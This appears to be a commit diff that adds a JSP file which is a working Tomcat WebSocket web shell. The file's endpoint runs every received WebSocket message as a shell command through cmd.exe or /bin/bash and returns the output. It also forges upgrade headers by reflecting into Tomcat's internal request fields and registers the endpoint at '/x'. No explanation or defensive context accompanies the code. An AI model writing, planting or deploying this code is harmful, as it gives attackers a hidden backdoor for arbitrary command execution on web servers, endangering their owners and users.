1
+ <%@ page import =" java.util.*" %>
2
+ <%@ page import =" java.io.InputStream" %>
3
+ <%@ page import =" java.lang.reflect.Field" %>
4
+ <%@ page import =" javax.websocket.Endpoint" %>
5
+ <%@ page import =" javax.websocket.Session" %>
6
+ <%@ page import =" javax.websocket.EndpointConfig" %>
7
+ <%@ page import =" javax.websocket.MessageHandler" %>
8
+ <%@ page import =" javax.websocket.server.ServerContainer" %>
9
+ <%@ page import =" javax.websocket.server.ServerEndpointConfig" %>
10
+ <%@ page import =" org.apache.tomcat.websocket.server.WsServerContainer" %>
11
+ <%@ page import =" org.apache.tomcat.websocket.server.UpgradeUtil" %>
12
+ <%@ page import =" org.apache.tomcat.util.http.MimeHeaders" %>
13
+
14
+ <%!
15
+ public static class CmdEndpoint extends Endpoint implements MessageHandler .Whole<String > {
16
+ private Session session;
17
+ @Override
18
+ public void onMessage (String s ) {
19
+ try {
20
+ Process process;
21
+ boolean bool = System . getProperty(" os.name" ). toLowerCase(). startsWith(" windows" );
22
+ if (bool) {
23
+ process = Runtime . getRuntime(). exec(new String [] { " cmd.exe" , " /c" , s });
24
+ } else {
25
+ process = Runtime . getRuntime(). exec(new String [] { " /bin/bash" , " -c" , s });
26
+ }
27
+ InputStream inputStream = process. getInputStream();
28
+ StringBuilder stringBuilder = new StringBuilder ();
29
+ int i;
30
+ while ((i = inputStream. read()) != - 1 )
31
+ stringBuilder. append((char )i);
32
+ inputStream. close();
33
+ process. waitFor();
34
+ session. getBasicRemote(). sendText(stringBuilder. toString());
35
+ } catch (Exception exception) {
36
+ exception. printStackTrace();
37
+ }
38
+ }
39
+ @Override
40
+ public void onOpen (final Session session , EndpointConfig config ) {
41
+ this . session = session;
42
+ session. addMessageHandler(this );
43
+ }
44
+ }
45
+ private void SetHeader(HttpServletRequest request, String key, String value){
46
+ Class<? extends HttpServletRequest > requestClass = request. getClass();
47
+ try {
48
+ Field requestField = requestClass. getDeclaredField(" request" );
49
+ requestField. setAccessible(true );
50
+ Object requestObj = requestField. get(request);
51
+ Field coyoteRequestField = requestObj. getClass(). getDeclaredField(" coyoteRequest" );
52
+ coyoteRequestField. setAccessible(true );
53
+ Object coyoteRequestObj = coyoteRequestField. get(requestObj);
54
+ Field headersField = coyoteRequestObj. getClass(). getDeclaredField(" headers" );
55
+ headersField. setAccessible(true );
56
+ MimeHeaders headersObj = (MimeHeaders )headersField. get(coyoteRequestObj);
57
+ headersObj. removeHeader(key);
58
+ headersObj. addValue(key). setString(value);
59
+ } catch (Exception e) {
60
+ e. printStackTrace();
61
+ }
62
+ }
63
+ % >
64
+
65
+ <%
66
+ ServletContext servletContext = request. getSession(). getServletContext();
67
+ ServerEndpointConfig configEndpoint = ServerEndpointConfig . Builder . create(CmdEndpoint . class, " /x" ). build();
68
+ WsServerContainer container = (WsServerContainer ) servletContext. getAttribute(ServerContainer . class. getName());
69
+ Map<String , String > pathParams = Collections . emptyMap();
70
+ SetHeader(request," Connection" ," upgrade" );
71
+ SetHeader(request," Sec-WebSocket-Version" ," 13" );
72
+ SetHeader(request," Upgrade" ," websocket" );
73
+ UpgradeUtil . doUpgrade(container, request, response, configEndpoint, pathParams);
74
+ % >
0 commit comments